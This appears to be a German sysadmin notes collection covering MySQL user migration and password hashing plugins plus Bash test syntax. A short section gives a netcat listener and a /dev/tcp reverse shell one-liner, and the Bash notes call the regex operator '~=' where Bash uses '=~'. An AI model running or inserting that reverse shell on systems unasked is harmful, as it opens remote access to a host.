<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-wenn-du-den-benutzer" inline-copy-host=""><div>Wenn du den Benutzer direkt über ein Terminal-Einzeiler exportieren möchtest, kannst du `pt-show-grants` aus den **Percona Toolkit** nutzen oder `pt-show-grants` / `mysqldump` verwenden:</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-36 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="24" id="bkmrk-bash-2" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-36"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-36"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-36 ng-star-inserted"><span class="ng-tns-c2000434957-36">Bash</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-36 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
# Exportiert CREATE USER und GRANT Statements direkt in eine SQL-Datei
mysql -u root -p -BN -e "SHOW CREATE USER 'benutzername'@'localhost';" > user_export.sql
mysql -u root -p -BN -e "SHOW GRANTS FOR 'benutzername'@'localhost';" >> user_export.sql

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-36 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="24" id="bkmrk--8" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-36"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-36"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-diese-user_export.sq" inline-copy-host=""><div>Diese `user_export.sql` kannst du auf den neuen Server übertragen und mit `mysql -u root -p < user_export.sql` importieren.</div></div>

# mysql_native_password vs. caching_sha2_password

<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-nein%2C-man-kann-den-p" inline-copy-host=""><div>**Nein, man kann den Passwort-Hash nicht umwandeln.**</div>  
<div>Das liegt an der Funktionsweise von kryptografischen Hashes: Sowohl `mysql_native_password` (SHA1-basiert) als auch `caching_sha2_password` (SHA-256-basiert) sind Einweg-Verschlüsselungen. Aus dem Hash auf dem alten Server lässt sich das ursprüngliche Klartext-Passwort mathematisch nicht wiederherstellen, um daraus den neuen SHA-256-Hash zu berechnen.</div>  
<div>Du hast in dieser Situation jedoch **zwei praktische Wege**:</div>  
</div>#### Option 1: Das alte Verfahren auf dem neuen Server aktivieren (Empfohlen, wenn Passwort unbekannt)

<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-mysql-8.0-unterst%C3%BCtz" inline-copy-host=""><div>MySQL 8.0 unterstützt `mysql_native_password` weiterhin (in MySQL 8.0/8.4 ist es zwar deprecated oder als Plugin verfügbar, kann aber problemlos verwendet werden). Du kannst den User also **trotzdem mit seinem alten Hash anlegen**:</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-37 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="3" id="bkmrk-sql" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl80MTkzYjcyNTgzNDkwMTIxIiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY19hZjFiZjI1OWMwMmFlMjRhIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-37"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-37"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-37 ng-star-inserted"><span class="ng-tns-c2000434957-37">SQL</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-37 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
CREATE USER 'benutzername'@'localhost' 
  IDENTIFIED WITH mysql_native_password AS '*2470C0C21F792A758062C1D2543813E071372E97';

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-37 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="3" id="bkmrk-" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl80MTkzYjcyNTgzNDkwMTIxIiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY19hZjFiZjI1OWMwMmFlMjRhIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-37"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-37"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-%28ersetze-den-stern-s" inline-copy-host=""><div>*(Ersetze den Stern-String mit dem Hash aus deinem alten `SHOW CREATE USER`-Befehl).*</div>  
</div>> <div>**Hinweis:** Falls MySQL auf dem neuen Server meckert (`Plugin 'mysql_native_password' is not loaded`), musst du das Plugin in der Server-Konfiguration (`my.cnf` / `mysqld.cnf`) unter `[mysqld]` aktivieren:</div>  
> <div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-38 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="6" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl80MTkzYjcyNTgzNDkwMTIxIiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY19hZjFiZjI1OWMwMmFlMjRhIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-38"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-38"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-38 ng-star-inserted"><span class="ng-tns-c2000434957-38">Ini, TOML</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-38 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
> [mysqld]
> mysql_native_password=ON
> 
> ```
> 
> <div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-38 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="6" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl80MTkzYjcyNTgzNDkwMTIxIiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY19hZjFiZjI1OWMwMmFlMjRhIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-38"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-38"></div></div></div><div>Danach den MySQL-Dienst neu starten (`systemctl restart mysql`).</div>

#### Option 2: Neues Passwort mit `caching_sha2_password` vergeben

<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-wenn-dir-das-passwor" inline-copy-host=""><div>Wenn dir das Passwort im Klartext bekannt ist (oder du ein neues vergeben kannst), erstelle den User direkt mit dem neuen Standard-Verfahren:</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-39 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="9" id="bkmrk-sql-1" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl80MTkzYjcyNTgzNDkwMTIxIiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY19hZjFiZjI1OWMwMmFlMjRhIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-39"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-39"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-39 ng-star-inserted"><span class="ng-tns-c2000434957-39">SQL</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-39 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
CREATE USER 'benutzername'@'localhost' 
  IDENTIFIED WITH caching_sha2_password BY 'DeinNeuesOderAltesKlartextPasswort';

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-39 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="9" id="bkmrk--1" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl80MTkzYjcyNTgzNDkwMTIxIiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY19hZjFiZjI1OWMwMmFlMjRhIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-39"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-39"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk--2" inline-copy-host=""></div>#### Fazit &amp; Vorgehen

<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-kennst-du-das-passwo" inline-copy-host="">- <div>**Kennst du das Passwort im Klartext?** → Nutze **Option 2** (sicherer und zukunftssicherer).</div>
- <div>**Kennst du das Passwort NICHT?** → Nutze **Option 1**, um den alten Hash direkt zu übernehmen.</div>

</div>

# shell

# Reverse Shell

How to open a reverse shell

On receiving end, open port with i.e. netcat (nc).

```bash
nc -lvp 4444

```

On sending server, open connection to receiver with

```bash
bash -i >& /dev/tcp/<receiver IP-Address>/4444 0>&1
```

# Bash [ ] vs. [[ ]] und = vs. -eq

In der Bash-Shell stolpert man schnell über `[ ]` und `[[ ]]`. Auf den ersten Blick tun beide genau dasselbe: Sie prüfen Bedingungen (z. B. ob eine Datei existiert oder ob zwei Strings gleich sind).

## `[ ]` vs. `[[ ]]`

Der Hauptunterschied ist: **`[` ist ein altes, externes Kommando (bzw. Shell-Builtin), während `[[ ]]` ein modernes, internes Shell-Schlüsselwort ist.**

Gründe, warum man in modernen Bash-Skripten fast immer `[[ ]]` bevorzugen sollte.

### 1. Das einfache `[` (POSIX / Bourne Shell)

Das einfache `[` ist eigentlich ein Synonym für das Kommando `test`. Weil es ein echtes Kommando ist, gelten für es die ganz normalen, strengen Parsing-Regeln der Shell. Das führt oft zu Fehlern.

- **Pflicht zur Quotierung:** Variablen *müssen* in Anführungszeichen gesetzt werden, falls sie leer sind oder Leerzeichen enthalten.
- **Logische Operatoren:** Verknüpfungen wie AND und OR werden mit den alten Flags `-a` und `-o` umgesetzt.

**Beispiel:**

```bash
if [ "$name" = "John Doe" ]; then
    echo "Hallo John"
fi



```

<p class="callout warning">Wenn man hier die Anführungszeichen um `$name` vergisst und die Variable leer ist, stürzt das Skript mit einem Syntaxfehler ab (\\\*\\\*`\\\[: =: unary operator expected`\\\*\\\*).</p>

### 2. Das doppelte `[[ ]]` (Bash-Erweiterung)

`[[ ]]` wurde eingeführt, um das Leben von Entwicklern leichter und Skripte sicherer zu machen. Da es ein eingebautes Schlüsselwort der Bash ist, "sieht" die Shell, was darin passiert, bevor die Variablen aufgelöst werden.

- **Keine Abstürze bei leeren Variablen:** Du musst Variablen nicht zwingend in Anführungszeichen setzen. Wenn `$name` leer ist, funktioniert es trotzdem.
- **Moderne Logik:** Du kannst die ganz normalen Operatoren `&&` (AND) und `||` (OR) verwenden.
- **Pattern Matching &amp; Regex:** Es unterstützt mächtige Vergleiche mit Wildcards (`*`) und regulären Ausdrücken (`~=`).

**Beispiel:**

```bash
if [[ $name == "John Doe" ]]; then
    echo "Hallo John"
fi


```

##### Die wichtigsten Unterschiede im Direktvergleich

<table data-path-to-node="18" id="bkmrk-feature-einfaches-%5B-"><thead><tr><td>\*\*Feature\*\*</td><td>\*\*Einfaches \\\[ (test)\*\*</td><td>\*\*Doppeltes \\\[\\\[ \\\]\\\]\*\*</td></tr></thead><tbody><tr><td><span data-path-to-node="18,1,0,0">\*\*Typ\*\*</span></td><td><span data-path-to-node="18,1,1,0">Befehl / Builtin</span></td><td><span data-path-to-node="18,1,2,0">Shell-Schlüsselwort</span></td></tr><tr><td><span data-path-to-node="18,2,0,0">\*\*Portabilität\*\*</span></td><td><span data-path-to-node="18,2,1,0">\*\*Sehr hoch\*\* (Funktioniert in jeder POSIX-Shell, z.B. `sh`, `dash`)</span></td><td><span data-path-to-node="18,2,2,0">\*\*Eingeschränkt\*\* (Funktioniert in `bash`, `zsh`, `ksh`, aber \*nicht\* in `sh`)</span></td></tr><tr><td><span data-path-to-node="18,3,0,0">\*\*Leere Variablen\*\*</span></td><td><span data-path-to-node="18,3,1,0">Erfordern `"..."`, sonst Syntaxfehler</span></td><td><span data-path-to-node="18,3,2,0">Funktionieren sicher ohne `"..."`</span></td></tr><tr><td><span data-path-to-node="18,4,0,0">\*\*Und / Oder\*\*</span></td><td><span data-path-to-node="18,4,1,0">`-a` (AND) und `-o` (OR)</span></td><td><span data-path-to-node="18,4,2,0">`&amp;&amp;` (AND) und `</span></td></tr><tr><td><span data-path-to-node="18,5,0,0">\*\*Wildcards (Globbing)\*\*</span></td><td><span data-path-to-node="18,5,1,0">Nein</span></td><td><span data-path-to-node="18,5,2,0">Ja (z. B. `\[\[ $file == \*.txt \]\]`)</span></td></tr><tr><td><span data-path-to-node="18,6,0,0">\*\*Regex-Vergleich\*\*</span></td><td><span data-path-to-node="18,6,1,0">Nein</span></td><td><span data-path-to-node="18,6,2,0">Ja (mit dem `~=` Operator)</span></td></tr></tbody></table>

#### Beispiele für die Vorteile von `[[ ]]` 

##### 1. Sicherer Umgang leeren Variablen

```bash
file=""
[ -f $file ]   # FEHLER: bash: [: -f: unary operator expected
[[ -f $file ]] # SICHER: Ergibt einfach "false", kein Absturz.
```

##### 2. Intuitive Logik

```bash
# Beim einfachen [ musst du -a nutzen, oder zwei [ ] verketten:
[ "$A" = "x" ] && [ "$B" = "y" ]

# Bei [[ ]] kannst du es elegant hineinschreiben:
[[ $A == "x" && $B == "y" ]]
```

##### 3. Mustererkennung (Pattern Matching)

Möchtest du prüfen, ob eine Variable mit einem bestimmten Buchstaben endet? Das geht nur mit `[[ ]]`

```bash
version="version_2.0"

if [[ $version == *_2.0 ]]; then
    echo "Es ist Version 2!"
fi
```

#### Fazit

- Schreibst du ein reines **Bash-Skript** (Standard auf den meisten Linux-Systemen, erkennbar am `#!/bin/bash` in der ersten Zeile)? **Nutze immer `[[ ]]`.** Es ist sicherer, moderner und kann mehr.
- Schreibst du ein hochgradig portables Skript, das auch auf eingebetteten Systemen oder alten UNIX-Servern unter der Standard-Shell (`#!/bin/sh`) laufen muss? **Nutze `[`**, aber denke penibel an die Anführungszeichen um deine Variablen.

## `=` vs. `-eq` 

- **`=` (oder `==`):** Wird ausschließlich für **Text (Strings)** verwendet. Es vergleicht die Zeichen alphabetisch/lexikografisch.
- **`-eq`:** Steht für *equal* und wird ausschließlich für **Ganzzahlen (Integers)** verwendet. Es vergleicht den mathematischen Wert.

<p class="callout info">Operatoren mit einem Bindestrich (`-eq`, `-ne`, `-lt`, `-gt`) erwarten immer **Zahlen**.   
Operatoren aus Symbolen (`=`, `==`, `!=`) erwarten immer **Text**.</p>

**Beispiel:**

```bash
A="05"
B="5"

# 1. Textvergleich mit ==
if [[ $A == $B ]]; then
    echo "Text ist gleich"
else
    echo "Text ist UNGLEICH"
fi

# 2. Zahlenvergleich mit -eq
if [[ $A -eq $B ]]; then
    echo "Zahlenwert ist GLEICH"
else
    echo "Zahlenwert ist ungleich"
fi
```

- Der **Textvergleich (`==`) sagt: UNGLEICH!** Warum? Weil die Zeichenkette `"05"` nicht exakt dieselbe ist wie die Zeichenkette `"5"` (die `"0"` am Anfang macht den Unterschied).
- Der **Zahlenvergleich (`-eq`) sagt: GLEICH!** Warum? Weil die Bash beide Werte in Zahlen umwandelt, und mathematisch ist <span class="math-inline" data-index-in-node="115" data-math="05">05</span> exakt dasselbe wie <span class="math-inline" data-index-in-node="137" data-math="5">5</span>.

#### Für Text (Strings)

- `=` oder `==` : Ist gleich? (z. B. `[[ $antwort == "ja" ]]`)
- `!=` : Ist ungleich? (z. B. `[[ $user != "root" ]]`)

#### Für Zahlen (Integers)

- `-eq` : *equal* (gleich) <span class="math-inline" data-index-in-node="21" data-math="\rightarrow">=&gt;</span> `5 -eq 5`
- `-ne` : *not equal* (nicht gleich) <span class="math-inline" data-index-in-node="21" data-math="\rightarrow">=&gt;</span> `5 -ne 3`
- `-lt` : *less than* (kleiner als) <span class="math-inline" data-index-in-node="21" data-math="\rightarrow">=&gt;</span> `3 -lt 5`
- `-le` : *less or equal* (kleiner oder gleich) <span class="math-inline" data-index-in-node="21" data-math="\rightarrow">=&gt;</span> `3 -le 5`
- `-gt` : *greater than* (größer als) <span class="math-inline" data-index-in-node="21" data-math="\rightarrow">=&gt;</span> `5 -gt 3`
- `-ge` : *greater or equal* (größer oder gleich) <span class="math-inline" data-index-in-node="21" data-math="\rightarrow">=&gt;</span> `5 -ge 5`